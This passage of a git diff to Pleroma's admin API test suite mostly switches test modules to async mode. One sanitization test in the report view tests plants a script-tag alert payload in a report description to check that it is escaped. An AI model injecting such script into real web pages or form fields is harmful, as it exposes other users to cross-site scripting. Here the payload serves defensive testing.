	describe "POST /api/pleroma/admin/media_proxy_caches/delete" do
	test "deleted MediaProxy URLs from banned", %{conn: conn} do
	MediaProxy.put_in_banned_urls([
	"http://localhost:4001/media/a688346.jpg",
	"http://localhost:4001/media/fb1f4d.jpg"
	])

	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/media_proxy_caches/delete", %{
	urls: ["http://localhost:4001/media/a688346.jpg"]
	})
	\|> json_response_and_validate_schema(200)

	refute MediaProxy.in_banned_urls("http://localhost:4001/media/a688346.jpg")
	assert MediaProxy.in_banned_urls("http://localhost:4001/media/fb1f4d.jpg")
	end
	end

	describe "POST /api/pleroma/admin/media_proxy_caches/purge" do
	test "perform invalidates cache of MediaProxy", %{conn: conn} do
	urls = [
	"http://example.com/media/a688346.jpg",
	"http://example.com/media/fb1f4d.jpg"
	]

	with_mocks [
	{MediaProxy.Invalidation.Script, [],
	[
	purge: fn _, _ -> {"ok", 0} end
	]}
	] do
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/media_proxy_caches/purge", %{urls: urls, ban: false})
	\|> json_response_and_validate_schema(200)

	refute MediaProxy.in_banned_urls("http://example.com/media/a688346.jpg")
	refute MediaProxy.in_banned_urls("http://example.com/media/fb1f4d.jpg")
	end
	end

	test "perform invalidates cache of MediaProxy and adds url to banned", %{conn: conn} do
	urls = [
	"http://example.com/media/a688346.jpg",
	"http://example.com/media/fb1f4d.jpg"
	]

	with_mocks [{MediaProxy.Invalidation.Script, [], [purge: fn _, _ -> {"ok", 0} end]}] do
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post(
	"/api/pleroma/admin/media_proxy_caches/purge",
	%{urls: urls, ban: true}
	)
	\|> json_response_and_validate_schema(200)

	assert MediaProxy.in_banned_urls("http://example.com/media/a688346.jpg")
	assert MediaProxy.in_banned_urls("http://example.com/media/fb1f4d.jpg")
	end
	end
	end
	end
	diff --git a/test/pleroma/web/admin_api/controllers/report_controller_test.exs b/test/pleroma/web/admin_api/controllers/report_controller_test.exs
	index cbfc2e7b0..2ab2f2f6d 100644
	--- a/test/pleroma/web/admin_api/controllers/report_controller_test.exs
	+++ b/test/pleroma/web/admin_api/controllers/report_controller_test.exs
	@@ -1,382 +1,382 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.AdminAPI.ReportControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	import Pleroma.Factory

	alias Pleroma.Activity
	alias Pleroma.ModerationLog
	alias Pleroma.Repo
	alias Pleroma.ReportNote
	alias Pleroma.Web.CommonAPI

	setup do
	admin = insert(:user, is_admin: true)
	token = insert(:oauth_admin_token, user: admin)

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> assign(:token, token)

	{:ok, %{admin: admin, token: token, conn: conn}}
	end

	describe "GET /api/pleroma/admin/reports/:id" do
	test "returns report by its id", %{conn: conn} do
	[reporter, target_user] = insert_pair(:user)
	activity = insert(:note_activity, user: target_user)

	{:ok, %{id: report_id}} =
	CommonAPI.report(reporter, %{
	account_id: target_user.id,
	comment: "I feel offended",
	status_ids: [activity.id]
	})

	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/reports/#{report_id}/notes", %{
	content: "this is an admin note"
	})

	response =
	conn
	\|> get("/api/pleroma/admin/reports/#{report_id}")
	\|> json_response_and_validate_schema(:ok)

	assert response["id"] == report_id

	[notes] = response["notes"]
	assert notes["content"] == "this is an admin note"
	end

	test "returns 404 when report id is invalid", %{conn: conn} do
	conn = get(conn, "/api/pleroma/admin/reports/test")

	assert json_response_and_validate_schema(conn, :not_found) == %{"error" => "Not found"}
	end
	end

	describe "PATCH /api/pleroma/admin/reports" do
	setup do
	[reporter, target_user] = insert_pair(:user)
	activity = insert(:note_activity, user: target_user)

	{:ok, %{id: report_id}} =
	CommonAPI.report(reporter, %{
	account_id: target_user.id,
	comment: "I feel offended",
	status_ids: [activity.id]
	})

	{:ok, %{id: second_report_id}} =
	CommonAPI.report(reporter, %{
	account_id: target_user.id,
	comment: "I feel very offended",
	status_ids: [activity.id]
	})

	%{
	id: report_id,
	second_report_id: second_report_id
	}
	end

	test "requires admin:write:reports scope", %{conn: conn, id: id, admin: admin} do
	read_token = insert(:oauth_token, user: admin, scopes: ["admin:read"])
	write_token = insert(:oauth_token, user: admin, scopes: ["admin:write:reports"])

	response =
	conn
	\|> assign(:token, read_token)
	\|> put_req_header("content-type", "application/json")
	\|> patch("/api/pleroma/admin/reports", %{
	"reports" => [%{"state" => "resolved", "id" => id}]
	})
	\|> json_response_and_validate_schema(403)

	assert response == %{
	"error" => "Insufficient permissions: admin:write:reports."
	}

	conn
	\|> assign(:token, write_token)
	\|> put_req_header("content-type", "application/json")
	\|> patch("/api/pleroma/admin/reports", %{
	"reports" => [%{"state" => "resolved", "id" => id}]
	})
	\|> json_response_and_validate_schema(:no_content)
	end

	test "mark report as resolved", %{conn: conn, id: id, admin: admin} do
	conn
	\|> put_req_header("content-type", "application/json")
	\|> patch("/api/pleroma/admin/reports", %{
	"reports" => [
	%{"state" => "resolved", "id" => id}
	]
	})
	\|> json_response_and_validate_schema(:no_content)

	activity = Activity.get_by_id_with_user_actor(id)
	assert activity.data["state"] == "resolved"

	log_entry = Repo.one(ModerationLog)

	assert ModerationLog.get_log_entry_message(log_entry) ==
	"@#{admin.nickname} updated report ##{id} (on user @#{activity.user_actor.nickname}) with 'resolved' state"
	end

	test "closes report", %{conn: conn, id: id, admin: admin} do
	conn
	\|> put_req_header("content-type", "application/json")
	\|> patch("/api/pleroma/admin/reports", %{
	"reports" => [
	%{"state" => "closed", "id" => id}
	]
	})
	\|> json_response_and_validate_schema(:no_content)

	activity = Activity.get_by_id_with_user_actor(id)
	assert activity.data["state"] == "closed"

	log_entry = Repo.one(ModerationLog)

	assert ModerationLog.get_log_entry_message(log_entry) ==
	"@#{admin.nickname} updated report ##{id} (on user @#{activity.user_actor.nickname}) with 'closed' state"
	end

	test "returns 400 when state is unknown", %{conn: conn, id: id} do
	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> patch("/api/pleroma/admin/reports", %{
	"reports" => [
	%{"state" => "test", "id" => id}
	]
	})

	assert "Unsupported state" =
	hd(json_response_and_validate_schema(conn, :bad_request))["error"]
	end

	test "returns 404 when report is not exist", %{conn: conn} do
	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> patch("/api/pleroma/admin/reports", %{
	"reports" => [
	%{"state" => "closed", "id" => "test"}
	]
	})

	assert hd(json_response_and_validate_schema(conn, :bad_request))["error"] == "not_found"
	end

	test "updates state of multiple reports", %{
	conn: conn,
	id: id,
	admin: admin,
	second_report_id: second_report_id
	} do
	conn
	\|> put_req_header("content-type", "application/json")
	\|> patch("/api/pleroma/admin/reports", %{
	"reports" => [
	%{"state" => "resolved", "id" => id},
	%{"state" => "closed", "id" => second_report_id}
	]
	})
	\|> json_response_and_validate_schema(:no_content)

	activity = Activity.get_by_id_with_user_actor(id)
	second_activity = Activity.get_by_id_with_user_actor(second_report_id)
	assert activity.data["state"] == "resolved"
	assert second_activity.data["state"] == "closed"

	[first_log_entry, second_log_entry] = Repo.all(ModerationLog)

	assert ModerationLog.get_log_entry_message(first_log_entry) ==
	"@#{admin.nickname} updated report ##{id} (on user @#{activity.user_actor.nickname}) with 'resolved' state"

	assert ModerationLog.get_log_entry_message(second_log_entry) ==
	"@#{admin.nickname} updated report ##{second_report_id} (on user @#{
	second_activity.user_actor.nickname
	}) with 'closed' state"
	end
	end

	describe "GET /api/pleroma/admin/reports" do
	test "returns empty response when no reports created", %{conn: conn} do
	response =
	conn
	\|> get(report_path(conn, :index))
	\|> json_response_and_validate_schema(:ok)

	assert Enum.empty?(response["reports"])
	assert response["total"] == 0
	end

	test "returns reports", %{conn: conn} do
	[reporter, target_user] = insert_pair(:user)
	activity = insert(:note_activity, user: target_user)

	{:ok, %{id: report_id}} =
	CommonAPI.report(reporter, %{
	account_id: target_user.id,
	comment: "I feel offended",
	status_ids: [activity.id]
	})

	response =
	conn
	\|> get(report_path(conn, :index))
	\|> json_response_and_validate_schema(:ok)

	[report] = response["reports"]

	assert length(response["reports"]) == 1
	assert report["id"] == report_id

	assert response["total"] == 1
	end

	test "returns reports with specified state", %{conn: conn} do
	[reporter, target_user] = insert_pair(:user)
	activity = insert(:note_activity, user: target_user)

	{:ok, %{id: first_report_id}} =
	CommonAPI.report(reporter, %{
	account_id: target_user.id,
	comment: "I feel offended",
	status_ids: [activity.id]
	})

	{:ok, %{id: second_report_id}} =
	CommonAPI.report(reporter, %{
	account_id: target_user.id,
	comment: "I don't like this user"
	})

	CommonAPI.update_report_state(second_report_id, "closed")

	response =
	conn
	\|> get(report_path(conn, :index, %{state: "open"}))
	\|> json_response_and_validate_schema(:ok)

	assert [open_report] = response["reports"]

	assert length(response["reports"]) == 1
	assert open_report["id"] == first_report_id

	assert response["total"] == 1

	response =
	conn
	\|> get(report_path(conn, :index, %{state: "closed"}))
	\|> json_response_and_validate_schema(:ok)

	assert [closed_report] = response["reports"]

	assert length(response["reports"]) == 1
	assert closed_report["id"] == second_report_id

	assert response["total"] == 1

	assert %{"total" => 0, "reports" => []} ==
	conn
	\|> get(report_path(conn, :index, %{state: "resolved"}))
	\|> json_response_and_validate_schema(:ok)
	end

	test "returns 403 when requested by a non-admin" do
	user = insert(:user)
	token = insert(:oauth_token, user: user)

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> assign(:token, token)
	\|> get("/api/pleroma/admin/reports")

	assert json_response(conn, :forbidden) ==
	%{"error" => "User is not an admin."}
	end

	test "returns 403 when requested by anonymous" do
	conn = get(build_conn(), "/api/pleroma/admin/reports")

	assert json_response(conn, :forbidden) == %{
	"error" => "Invalid credentials."
	}
	end
	end

	describe "POST /api/pleroma/admin/reports/:id/notes" do
	setup %{conn: conn, admin: admin} do
	[reporter, target_user] = insert_pair(:user)
	activity = insert(:note_activity, user: target_user)

	{:ok, %{id: report_id}} =
	CommonAPI.report(reporter, %{
	account_id: target_user.id,
	comment: "I feel offended",
	status_ids: [activity.id]
	})

	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/reports/#{report_id}/notes", %{
	content: "this is disgusting!"
	})

	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/reports/#{report_id}/notes", %{
	content: "this is disgusting2!"
	})

	%{
	admin_id: admin.id,
	report_id: report_id
	}
	end

	test "it creates report note", %{admin_id: admin_id, report_id: report_id} do
	assert [note, _] = Repo.all(ReportNote)

	assert %{
	activity_id: ^report_id,
	content: "this is disgusting!",
	user_id: ^admin_id
	} = note
	end

	test "it returns reports with notes", %{conn: conn, admin: admin} do
	conn = get(conn, "/api/pleroma/admin/reports")

	response = json_response_and_validate_schema(conn, 200)
	notes = hd(response["reports"])["notes"]
	[note, _] = notes

	assert note["user"]["nickname"] == admin.nickname
	assert note["content"] == "this is disgusting!"
	assert note["created_at"]
	assert response["total"] == 1
	end

	test "it deletes the note", %{conn: conn, report_id: report_id} do
	assert ReportNote \|> Repo.all() \|> length() == 2
	assert [note, _] = Repo.all(ReportNote)

	delete(conn, "/api/pleroma/admin/reports/#{report_id}/notes/#{note.id}")

	assert ReportNote \|> Repo.all() \|> length() == 1
	end
	end
	end
	diff --git a/test/pleroma/web/admin_api/controllers/status_controller_test.exs b/test/pleroma/web/admin_api/controllers/status_controller_test.exs
	index a18ef9e4b..40714c8a4 100644
	--- a/test/pleroma/web/admin_api/controllers/status_controller_test.exs
	+++ b/test/pleroma/web/admin_api/controllers/status_controller_test.exs
	@@ -1,201 +1,201 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.AdminAPI.StatusControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	import Pleroma.Factory

	alias Pleroma.Activity
	alias Pleroma.ModerationLog
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.CommonAPI

	setup do
	admin = insert(:user, is_admin: true)
	token = insert(:oauth_admin_token, user: admin)

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> assign(:token, token)

	{:ok, %{admin: admin, token: token, conn: conn}}
	end

	describe "GET /api/pleroma/admin/statuses/:id" do
	test "not found", %{conn: conn} do
	assert conn
	\|> get("/api/pleroma/admin/statuses/not_found")
	\|> json_response_and_validate_schema(:not_found)
	end

	test "shows activity", %{conn: conn} do
	activity = insert(:note_activity)

	response =
	conn
	\|> get("/api/pleroma/admin/statuses/#{activity.id}")
	\|> json_response_and_validate_schema(200)

	assert response["id"] == activity.id

	account = response["account"]
	actor = User.get_by_ap_id(activity.actor)

	assert account["id"] == actor.id
	assert account["nickname"] == actor.nickname
	assert account["deactivated"] == actor.deactivated
	assert account["confirmation_pending"] == actor.confirmation_pending
	end
	end

	describe "PUT /api/pleroma/admin/statuses/:id" do
	setup do
	activity = insert(:note_activity)

	%{id: activity.id}
	end

	test "toggle sensitive flag", %{conn: conn, id: id, admin: admin} do
	response =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> put("/api/pleroma/admin/statuses/#{id}", %{"sensitive" => "true"})
	\|> json_response_and_validate_schema(:ok)

	assert response["sensitive"]

	log_entry = Repo.one(ModerationLog)

	assert ModerationLog.get_log_entry_message(log_entry) ==
	"@#{admin.nickname} updated status ##{id}, set sensitive: 'true'"

	response =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> put("/api/pleroma/admin/statuses/#{id}", %{"sensitive" => "false"})
	\|> json_response_and_validate_schema(:ok)

	refute response["sensitive"]
	end

	test "change visibility flag", %{conn: conn, id: id, admin: admin} do
	response =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> put("/api/pleroma/admin/statuses/#{id}", %{visibility: "public"})
	\|> json_response_and_validate_schema(:ok)

	assert response["visibility"] == "public"

	log_entry = Repo.one(ModerationLog)

	assert ModerationLog.get_log_entry_message(log_entry) ==
	"@#{admin.nickname} updated status ##{id}, set visibility: 'public'"

	response =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> put("/api/pleroma/admin/statuses/#{id}", %{visibility: "private"})
	\|> json_response_and_validate_schema(:ok)

	assert response["visibility"] == "private"

	response =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> put("/api/pleroma/admin/statuses/#{id}", %{visibility: "unlisted"})
	\|> json_response_and_validate_schema(:ok)

	assert response["visibility"] == "unlisted"
	end

	test "returns 400 when visibility is unknown", %{conn: conn, id: id} do
	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> put("/api/pleroma/admin/statuses/#{id}", %{visibility: "test"})

	assert %{"error" => "test - Invalid value for enum."} =
	json_response_and_validate_schema(conn, :bad_request)
	end
	end

	describe "DELETE /api/pleroma/admin/statuses/:id" do
	setup do
	activity = insert(:note_activity)

	%{id: activity.id}
	end

	test "deletes status", %{conn: conn, id: id, admin: admin} do
	conn
	\|> delete("/api/pleroma/admin/statuses/#{id}")
	\|> json_response_and_validate_schema(:ok)

	refute Activity.get_by_id(id)

	log_entry = Repo.one(ModerationLog)

	assert ModerationLog.get_log_entry_message(log_entry) ==
	"@#{admin.nickname} deleted status ##{id}"
	end

	test "returns 404 when the status does not exist", %{conn: conn} do
	conn = delete(conn, "/api/pleroma/admin/statuses/test")

	assert json_response_and_validate_schema(conn, :not_found) == %{"error" => "Not found"}
	end
	end

	describe "GET /api/pleroma/admin/statuses" do
	test "returns all public and unlisted statuses", %{conn: conn, admin: admin} do
	blocked = insert(:user)
	user = insert(:user)
	User.block(admin, blocked)

	{:ok, _} = CommonAPI.post(user, %{status: "@#{admin.nickname}", visibility: "direct"})

	{:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "unlisted"})
	{:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "private"})
	{:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "public"})
	{:ok, _} = CommonAPI.post(blocked, %{status: ".", visibility: "public"})

	response =
	conn
	\|> get("/api/pleroma/admin/statuses")
	\|> json_response_and_validate_schema(200)

	refute "private" in Enum.map(response, & &1["visibility"])
	assert length(response) == 3
	end

	test "returns only local statuses with local_only on", %{conn: conn} do
	user = insert(:user)
	remote_user = insert(:user, local: false, nickname: "archaeme@archae.me")
	insert(:note_activity, user: user, local: true)
	insert(:note_activity, user: remote_user, local: false)

	response =
	conn
	\|> get("/api/pleroma/admin/statuses?local_only=true")
	\|> json_response_and_validate_schema(200)

	assert length(response) == 1
	end

	test "returns private and direct statuses with godmode on", %{conn: conn, admin: admin} do
	user = insert(:user)

	{:ok, _} = CommonAPI.post(user, %{status: "@#{admin.nickname}", visibility: "direct"})

	{:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "private"})
	{:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "public"})
	conn = get(conn, "/api/pleroma/admin/statuses?godmode=true")
	assert json_response_and_validate_schema(conn, 200) \|> length() == 3
	end
	end
	end
	diff --git a/test/pleroma/web/admin_api/search_test.exs b/test/pleroma/web/admin_api/search_test.exs
	index 9bc58640c..fdf22a8e6 100644
	--- a/test/pleroma/web/admin_api/search_test.exs
	+++ b/test/pleroma/web/admin_api/search_test.exs
	@@ -1,216 +1,216 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.AdminAPI.SearchTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	alias Pleroma.Web.AdminAPI.Search

	import Pleroma.Factory

	describe "search for admin" do
	test "it ignores case" do
	insert(:user, nickname: "papercoach")
	insert(:user, nickname: "CanadaPaperCoach")

	{:ok, _results, count} =
	Search.user(%{
	query: "paper",
	local: false,
	page: 1,
	page_size: 50
	})

	assert count == 2
	end

	test "it returns local/external users" do
	insert(:user, local: true)
	insert(:user, local: false)
	insert(:user, local: false)

	{:ok, _results, local_count} =
	Search.user(%{
	query: "",
	local: true
	})

	{:ok, _results, external_count} =
	Search.user(%{
	query: "",
	external: true
	})

	assert local_count == 1
	assert external_count == 2
	end

	test "it returns active/deactivated users" do
	insert(:user, deactivated: true)
	insert(:user, deactivated: true)
	insert(:user, deactivated: false)

	{:ok, _results, active_count} =
	Search.user(%{
	query: "",
	active: true
	})

	{:ok, _results, deactivated_count} =
	Search.user(%{
	query: "",
	deactivated: true
	})

	assert active_count == 1
	assert deactivated_count == 2
	end

	test "it returns specific user" do
	insert(:user)
	insert(:user)
	user = insert(:user, nickname: "bob", local: true, deactivated: false)

	{:ok, _results, total_count} = Search.user(%{query: ""})

	{:ok, [^user], count} =
	Search.user(%{
	query: "Bo",
	active: true,
	local: true
	})

	assert total_count == 3
	assert count == 1
	end

	test "it returns user by domain" do
	insert(:user)
	insert(:user)
	user = insert(:user, nickname: "some@domain.com")

	{:ok, _results, total} = Search.user()
	{:ok, [^user], count} = Search.user(%{query: "domain.com"})
	assert total == 3
	assert count == 1
	end

	test "it return user by full nickname" do
	insert(:user)
	insert(:user)
	user = insert(:user, nickname: "some@domain.com")

	{:ok, _results, total} = Search.user()
	{:ok, [^user], count} = Search.user(%{query: "some@domain.com"})
	assert total == 3
	assert count == 1
	end

	test "it returns admin user" do
	admin = insert(:user, is_admin: true)
	insert(:user)
	insert(:user)

	{:ok, _results, total} = Search.user()
	{:ok, [^admin], count} = Search.user(%{is_admin: true})
	assert total == 3
	assert count == 1
	end

	test "it returns moderator user" do
	moderator = insert(:user, is_moderator: true)
	insert(:user)
	insert(:user)

	{:ok, _results, total} = Search.user()
	{:ok, [^moderator], count} = Search.user(%{is_moderator: true})
	assert total == 3
	assert count == 1
	end

	test "it returns users with tags" do
	user1 = insert(:user, tags: ["first"])
	user2 = insert(:user, tags: ["second"])
	insert(:user)
	insert(:user)

	{:ok, _results, total} = Search.user()
	{:ok, users, count} = Search.user(%{tags: ["first", "second"]})
	assert total == 4
	assert count == 2
	assert user1 in users
	assert user2 in users
	end

	test "it returns users by actor_types" do
	user_service = insert(:user, actor_type: "Service")
	user_application = insert(:user, actor_type: "Application")
	user1 = insert(:user)
	user2 = insert(:user)

	{:ok, [^user_service], 1} = Search.user(%{actor_types: ["Service"]})
	{:ok, [^user_application], 1} = Search.user(%{actor_types: ["Application"]})
	{:ok, [^user1, ^user2], 2} = Search.user(%{actor_types: ["Person"]})

	{:ok, [^user_service, ^user1, ^user2], 3} =
	Search.user(%{actor_types: ["Person", "Service"]})
	end

	test "it returns user by display name" do
	user = insert(:user, name: "Display name")
	insert(:user)
	insert(:user)

	{:ok, _results, total} = Search.user()
	{:ok, [^user], count} = Search.user(%{name: "display"})

	assert total == 3
	assert count == 1
	end

	test "it returns user by email" do
	user = insert(:user, email: "some@example.com")
	insert(:user)
	insert(:user)

	{:ok, _results, total} = Search.user()
	{:ok, [^user], count} = Search.user(%{email: "some@example.com"})

	assert total == 3
	assert count == 1
	end

	test "it returns unapproved user" do
	unapproved = insert(:user, approval_pending: true)
	insert(:user)
	insert(:user)

	{:ok, _results, total} = Search.user()
	{:ok, [^unapproved], count} = Search.user(%{need_approval: true})
	assert total == 3
	assert count == 1
	end

	test "it returns unconfirmed user" do
	unconfirmed = insert(:user, confirmation_pending: true)
	insert(:user)
	insert(:user)

	{:ok, _results, total} = Search.user()
	{:ok, [^unconfirmed], count} = Search.user(%{unconfirmed: true})
	assert total == 3
	assert count == 1
	end

	# Note: as in Mastodon, `is_discoverable` doesn't anyhow relate to user searchability
	test "it returns non-discoverable users" do
	insert(:user)
	insert(:user, is_discoverable: false)

	{:ok, _results, total} = Search.user()

	assert total == 2
	end
	end
	end
	diff --git a/test/pleroma/web/admin_api/views/moderation_log_view_test.exs b/test/pleroma/web/admin_api/views/moderation_log_view_test.exs
	index e6c5aaa7f..390d7bbeb 100644
	--- a/test/pleroma/web/admin_api/views/moderation_log_view_test.exs
	+++ b/test/pleroma/web/admin_api/views/moderation_log_view_test.exs
	@@ -1,98 +1,98 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only
	defmodule Pleroma.Web.AdminAPI.ModerationLogViewTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Web.AdminAPI.ModerationLogView

	describe "renders `report_note_delete` log messages" do
	setup do
	log1 = %Pleroma.ModerationLog{
	data: %{
	"action" => "report_note_delete",
	"actor" => %{"id" => "A1I7G8", "nickname" => "admin", "type" => "user"},
	"message" => "@admin deleted note 'mistake' from report #A1I7be on user @b-612",
	"subject" => %{"id" => "A1I7be", "state" => "open", "type" => "report"},
	"subject_actor" => %{"id" => "A1I7G8", "nickname" => "b-612", "type" => "user"},
	"text" => "mistake"
	},
	inserted_at: ~N[2020-11-17 14:13:20]
	}

	log2 = %Pleroma.ModerationLog{
	data: %{
	"action" => "report_note_delete",
	"actor" => %{"id" => "A1I7G8", "nickname" => "admin", "type" => "user"},
	"message" => "@admin deleted note 'fake user' from report #A1I7be on user @j-612",
	"subject" => %{"id" => "A1I7be", "state" => "open", "type" => "report"},
	"subject_actor" => %{"id" => "A1I7G8", "nickname" => "j-612", "type" => "user"},
	"text" => "fake user"
	},
	inserted_at: ~N[2020-11-17 14:13:20]
	}

	{:ok, %{log1: log1, log2: log2}}
	end

	test "renders `report_note_delete` log messages", %{log1: log1, log2: log2} do
	assert ModerationLogView.render(
	"index.json",
	%{log: %{items: [log1, log2], count: 2}}
	) == %{
	items: [
	%{
	data: %{
	"action" => "report_note_delete",
	"actor" => %{"id" => "A1I7G8", "nickname" => "admin", "type" => "user"},
	"message" =>
	"@admin deleted note 'mistake' from report #A1I7be on user @b-612",
	"subject" => %{"id" => "A1I7be", "state" => "open", "type" => "report"},
	"subject_actor" => %{
	"id" => "A1I7G8",
	"nickname" => "b-612",
	"type" => "user"
	},
	"text" => "mistake"
	},
	message: "@admin deleted note 'mistake' from report #A1I7be on user @b-612",
	time: 1_605_622_400
	},
	%{
	data: %{
	"action" => "report_note_delete",
	"actor" => %{"id" => "A1I7G8", "nickname" => "admin", "type" => "user"},
	"message" =>
	"@admin deleted note 'fake user' from report #A1I7be on user @j-612",
	"subject" => %{"id" => "A1I7be", "state" => "open", "type" => "report"},
	"subject_actor" => %{
	"id" => "A1I7G8",
	"nickname" => "j-612",
	"type" => "user"
	},
	"text" => "fake user"
	},
	message: "@admin deleted note 'fake user' from report #A1I7be on user @j-612",
	time: 1_605_622_400
	}
	],
	total: 2
	}
	end

	test "renders `report_note_delete` log message", %{log1: log} do
	assert ModerationLogView.render("show.json", %{log_entry: log}) == %{
	data: %{
	"action" => "report_note_delete",
	"actor" => %{"id" => "A1I7G8", "nickname" => "admin", "type" => "user"},
	"message" => "@admin deleted note 'mistake' from report #A1I7be on user @b-612",
	"subject" => %{"id" => "A1I7be", "state" => "open", "type" => "report"},
	"subject_actor" => %{"id" => "A1I7G8", "nickname" => "b-612", "type" => "user"},
	"text" => "mistake"
	},
	message: "@admin deleted note 'mistake' from report #A1I7be on user @b-612",
	time: 1_605_622_400
	}
	end
	end
	end
	diff --git a/test/pleroma/web/admin_api/views/report_view_test.exs b/test/pleroma/web/admin_api/views/report_view_test.exs
	index 5a02292be..ff3453208 100644
	--- a/test/pleroma/web/admin_api/views/report_view_test.exs
	+++ b/test/pleroma/web/admin_api/views/report_view_test.exs
	@@ -1,146 +1,146 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.AdminAPI.ReportViewTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	import Pleroma.Factory

	alias Pleroma.Web.AdminAPI
	alias Pleroma.Web.AdminAPI.Report
	alias Pleroma.Web.AdminAPI.ReportView
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.MastodonAPI
	alias Pleroma.Web.MastodonAPI.StatusView

	test "renders a report" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} = CommonAPI.report(user, %{account_id: other_user.id})

	expected = %{
	content: nil,
	actor:
	Map.merge(
	MastodonAPI.AccountView.render("show.json", %{user: user, skip_visibility_check: true}),
	AdminAPI.AccountView.render("show.json", %{user: user})
	),
	account:
	Map.merge(
	MastodonAPI.AccountView.render("show.json", %{
	user: other_user,
	skip_visibility_check: true
	}),
	AdminAPI.AccountView.render("show.json", %{user: other_user})
	),
	statuses: [],
	notes: [],
	state: "open",
	id: activity.id
	}

	result =
	ReportView.render("show.json", Report.extract_report_info(activity))
	\|> Map.delete(:created_at)

	assert result == expected
	end

	test "includes reported statuses" do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, activity} = CommonAPI.post(other_user, %{status: "toot"})

	{:ok, report_activity} =
	CommonAPI.report(user, %{account_id: other_user.id, status_ids: [activity.id]})

	other_user = Pleroma.User.get_by_id(other_user.id)

	expected = %{
	content: nil,
	actor:
	Map.merge(
	MastodonAPI.AccountView.render("show.json", %{user: user, skip_visibility_check: true}),
	AdminAPI.AccountView.render("show.json", %{user: user})
	),
	account:
	Map.merge(
	MastodonAPI.AccountView.render("show.json", %{
	user: other_user,
	skip_visibility_check: true
	}),
	AdminAPI.AccountView.render("show.json", %{user: other_user})
	),
	statuses: [StatusView.render("show.json", %{activity: activity})],
	state: "open",
	notes: [],
	id: report_activity.id
	}

	result =
	ReportView.render("show.json", Report.extract_report_info(report_activity))
	\|> Map.delete(:created_at)

	assert result == expected
	end

	test "renders report's state" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} = CommonAPI.report(user, %{account_id: other_user.id})
	{:ok, activity} = CommonAPI.update_report_state(activity.id, "closed")

	assert %{state: "closed"} =
	ReportView.render("show.json", Report.extract_report_info(activity))
	end

	test "renders report description" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	CommonAPI.report(user, %{
	account_id: other_user.id,
	comment: "posts are too good for this instance"
	})

	assert %{content: "posts are too good for this instance"} =
	ReportView.render("show.json", Report.extract_report_info(activity))
	end

	test "sanitizes report description" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	CommonAPI.report(user, %{
	account_id: other_user.id,
	comment: ""
	})

	data = Map.put(activity.data, "content", "<script> alert('hecked :D:D:D:D:D:D:D') </script>")
	activity = Map.put(activity, :data, data)

	refute "<script> alert('hecked :D:D:D:D:D:D:D') </script>" ==
	ReportView.render("show.json", Report.extract_report_info(activity))[:content]
	end

	test "doesn't error out when the user doesn't exists" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	CommonAPI.report(user, %{
	account_id: other_user.id,
	comment: ""
	})

	Pleroma.User.delete(other_user)
	Pleroma.User.invalidate_cache(other_user)

	assert %{} = ReportView.render("show.json", Report.extract_report_info(activity))
	end
	end
	diff --git a/test/pleroma/web/auth/authenticator_test.exs b/test/pleroma/web/auth/authenticator_test.exs
	index d54253343..862eb8051 100644
	--- a/test/pleroma/web/auth/authenticator_test.exs
	+++ b/test/pleroma/web/auth/authenticator_test.exs
	@@ -1,42 +1,42 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Auth.AuthenticatorTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

